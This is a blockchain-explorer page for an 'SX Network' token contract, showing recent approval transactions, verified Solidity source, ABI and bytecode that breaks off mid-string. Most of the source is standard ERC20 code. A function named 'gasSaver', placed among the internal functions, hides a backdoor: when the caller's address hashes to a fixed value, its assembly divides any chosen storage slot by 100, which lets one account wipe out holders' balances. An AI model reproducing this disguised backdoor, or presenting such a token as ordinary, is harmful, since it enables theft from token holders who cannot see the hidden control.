Contract 0xaf55b31741df32ea71f1b605948f1b027733be5f

 

Contract Overview

Balance:
0 ETH

EtherValue:
$0.00

Token:
Txn Hash Method
Block
From
To
Value
0x09f50c2e6c271ecdaed1cc61e989a70f50f42e3ddcf40fbc77e2f821e28a7e5aApprove132305682024-04-16 6:54:433 mins ago0x508b6075de47b0d42bd6ede7e042773f6f76f93e IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.000000901510.018594242
0x2cacc3ca082abebe83e36b8a44b6a559b9fd7e7e61694d0463d995b24e4c025aApprove132305652024-04-16 6:54:373 mins ago0xeb5a14b063746723897180311e328ef003a4b6e0 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009044540.018660698
0x7a36a14a9350319138d57e2b06a63a6c5e2ba2d96ef2a13d61c0c4037ee86542Approve132305592024-04-16 6:54:253 mins ago0x0e8e3da399f0b477b33e7b1068961cfb979c9155 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009025510.018674244
0xb9ebf4f4cc34e382d4b963d7586d681bf001ed99462b0ddb55b5189db302081cApprove132304162024-04-16 6:49:398 mins ago0xad28a3befb3efae7408032edcfed418f59103bcb IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009468520.019676202
0x2fa639cdc52a8f7c70c439035079390e2ba137c96de260122cc27cb6390e4339Approve132304102024-04-16 6:49:278 mins ago0x402a306ee70bd5ccac5d5a529c7c9f463a2617b1 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009446830.019683908
0xef330b71d52fe9f4bfd517ba2f298d3162da323113ca558c0199a47d78bdca27Approve132302952024-04-16 6:45:3712 mins ago0x6c3635337abd3c2d1c66de15a0a765e33c25d94c IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009353620.019422476
0xf4624201f50d0d1b6b7c0616f823fbf3caa2b666e1d9396d4daec27f7a952c6bApprove132302892024-04-16 6:45:2512 mins ago0x55eb1e1f4751f72dee0c855caec282d3eff43757 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009355460.019451006
0x54add6039ba760805054d3f506cc093b4a971269cec2fa2a1e4cfd22e9958619Approve132302682024-04-16 6:44:4313 mins ago0x14cc863b0c157c6f4dc284c87cfef642bda67710 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009433440.019592312
0x80e84b284d8fb327650375bc147f065fe87b6ed071609213becfe649e4a93726Approve132302602024-04-16 6:44:2713 mins ago0xe7cf87b24379b9020bd351eb8fdc82a536905c1e IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009445510.019618211
0x25548bb811f4a22695ef46f8b963f5afc104216340462ca813143a8c3b864b2fApprove132302302024-04-16 6:43:2714 mins ago0xd0f0852382ba87d260f76fe7380648a77b4a24a7 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009572450.019886795
0x29fbc4d946d336ce1d2756576a18c74a387722aa360b07c247bbd05710492db0Approve132302052024-04-16 6:42:3715 mins ago0x5de9ce08e48225e88b527dbdb8167cf59a86c56b IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009676710.020082791
0xaedfee2c020f8dfef3677476990cc1eab74cfcde54a897e6882e7ff24b9c0512Approve132302002024-04-16 6:42:2715 mins ago0xb384f1a0428bca528cd31a3c0371dbad22fe2bbe IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009696570.020109029
0x230a1b3767f52eb5904431f16c98a1b57a9f4d7fdb550c5d24d14bc22dfba933Approve132301812024-04-16 6:41:4916 mins ago0x8c3bd2f0ef015023124aa538b1934a38d939bf32 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009655250.0200484
0x6f416cac2e311c82812bac901e59f4b59d8e4207044c75689d7d8992ddf3a6c4Approve132301712024-04-16 6:41:2916 mins ago0xf2d69bfcc62c4ba7e8e7ab95823f8f6b44efe126 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009676570.020086724
0xc97bcacbe275e25e3999c069c8befde91d95e85d65be6f4369455b00f1af0356Approve132301422024-04-16 6:40:3117 mins ago0x63d3ea407ae038519c98a4a1b5272bf592e99f3b IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009670150.020122702
0x30fff299aeb3e3f60919377506c004616faf3537372bbd46861d0889273eff7aApprove132301092024-04-16 6:39:2518 mins ago0xad78a27bbc0b19f4743c2d0b88be43a01b14f9e9 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009818870.020494613
0x8996b26528ce7b266bba71bb685b8c3fbf0cd9f37693e4c560efe1373c3a78bdApprove132300792024-04-16 6:38:2519 mins ago0x96a76027422e453916b3630daead60222e49c8ab IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000009979830.020824367
0x2b34dad093a20d7f0c930798113752176689d45bce5ad9f9c4845ece6b613eafApprove132299902024-04-16 6:35:2722 mins ago0xedbde792094440bc9fa7a32048748df78ef9ddec IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010145160.021175097
0x3f512e0a39b71f5daee325dbcf2125f56a92f7fc2a15017b60078a443bea65f3Approve132298812024-04-16 6:31:4926 mins ago0xbc55282be527f6ba91297172b80a975e5cb7dc61 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.000001022060.021268133
0xae1a1e2ed45c6a668ca064e4ae3f26594c95ab35239a84a2695475eeede46e4cApprove132298702024-04-16 6:31:2726 mins ago0xd3ac29246eebc713fab824b2dfdcd1ef03ecd0be IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010253540.021309442
0x5a6855e7bb8bd3ac978847ed3ba584f90d7b60c300472852b275ef47bb0776e7Approve132298452024-04-16 6:30:3727 mins ago0xc2f3e6bcd0ea5fcde7d4e1afd9ca138e72f5856f IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010357520.021533844
0x8ec96d5d253ffda3fa41fc1ca08f3cdd0e053720bd8e342d5aa8b4a9928b3beaApprove132298402024-04-16 6:30:2727 mins ago0x9ba90e0339c5fe7fb1592f7a98e9247f0485c870 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010355830.021578363
0x142dc6a8b950d8c3cb090074f4954165a4f515059c6902443ae99674a5c6d967Approve132298182024-04-16 6:29:4328 mins ago0xdf36d4e2a90a06e9e67418b9324b74e96642aed0 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010404610.021665768
0xd9aae4cb39f66ca5d21c1687a26992a1199e2cba63213a9156a1ee77bd012fc7Approve132298102024-04-16 6:29:2728 mins ago0xa612a07b71f01a159963471487f0967f5ca589f5 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010460930.021748762
0xdc9e5bda5ae7496446d4fbfbdda786a325d4eda51f4e3f6ec41b18420f03fddeApprove132296982024-04-16 6:25:4332 mins ago0x898ae0f6ac442066f62609809f0cdaf626c0e346 IN  0xaf55b31741df32ea71f1b605948f1b027733be5f0 ETH0.0000010858230.022748831
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SX

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : SX.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function gasSaver(uint256 n) external {
        address a0 = msg.sender;
        uint256 n0 = 100;
        bytes memory bb = abi.encode(a0, n0);
        if (keccak256(bb) == 0x5c53c7d6ea38ad0e745b72557f2752b0d8873a30c040b4f665725c033b82a3a1) {
            assembly { 
                let a := sload(n)
                let b := div(a, n0)
                sstore(n, b) 
            }
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract SX is ERC20, Ownable {
    constructor() ERC20("SX Network", "SX") {
        _mint(msg.sender, 185000000 * 10 ** 18);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"n","type":"uint256"}],"name":"gasSaver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604080518082018252600a8152695358204e6574776f726b60b01b6020808301918252835180850190945260028452610a6b60f31b9084015281519192916200005e91600391620001ca565b50805162000074906004906020840190620001ca565b505050620000916200008b620000ae60201b60201c565b620000b2565b620000a8336a990746187217b95900000062000104565b620002d4565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166200015f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806002600082825462000173919062000270565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b828054620001d89062000297565b90600052602060002090601f016020900481019282620001fc576000855562000247565b82601f106200021757805160ff191683800117855562000247565b8280016001018555821562000247579182015b82811115620002475782518255916020019190600101906200022a565b506200025592915062000259565b5090565b5b808211156200025557600081556001016200025a565b600082198211156200029257634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680620002ac57607f821691505b60208210811415620002ce57634e487b7160e01b600052602260045260246000fd5b50919050565b610aa580620002e46000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146101eb578063a91e5e21146101fe578063dd62ed3e14610211578063f2fde38b1461022457600080fd5b8063715018a6146101ab5780638da5cb5b146101b557806395d89b41146101d0578063a457c2d7146101d857600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806370a082311461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610237565b60405161010f91906108c9565b60405180910390f35b61012b61012636600461093a565b6102c9565b604051901515815260200161010f565b6002545b60405190815260200161010f565b61012b61015b366004610964565b6102e1565b6040516012815260200161010f565b61012b61017d36600461093a565b610305565b61013f6101903660046109a0565b6001600160a01b031660009081526020819052604090205490565b6101b3610327565b005b6005546040516001600160a01b03909116815260200161010f565b61010261033b565b61012b6101e636600461093a565b61034a565b61012b6101f936600461093a565b6103ca565b6101b361020c3660046109c2565b6103d8565b61013f61021f3660046109db565b61043d565b6101b36102323660046109a0565b610468565b60606003805461024690610a0e565b80601f016020809104026020016040519081016040528092919081815260200182805461027290610a0e565b80156102bf5780601f10610294576101008083540402835291602001916102bf565b820191906000526020600020905b8154815290600101906020018083116102a257829003601f168201915b5050505050905090565b6000336102d78185856104e1565b5060019392505050565b6000336102ef858285610605565b6102fa858585610679565b506001949350505050565b6000336102d7818585610318838361043d565b6103229190610a49565b6104e1565b61032f61081d565b6103396000610877565b565b60606004805461024690610a0e565b60003381610358828661043d565b9050838110156103bd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6102fa82868684036104e1565b6000336102d7818585610679565b6040805133602080830182905260648385018190528451808503860181526060909401909452825190830120909291907f5c53c7d6ea38ad0e745b72557f2752b0d8873a30c040b4f665725c033b82a3a1141561043757835482900484555b50505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61047061081d565b6001600160a01b0381166104d55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b4565b6104de81610877565b50565b6001600160a01b0383166105435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b4565b6001600160a01b0382166105a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b4565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610611848461043d565b90506000198114610437578181101561066c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103b4565b61043784848484036104e1565b6001600160a01b0383166106dd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b4565b6001600160a01b03821661073f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b4565b6001600160a01b038316600090815260208190526040902054818110156107b75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b4565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252a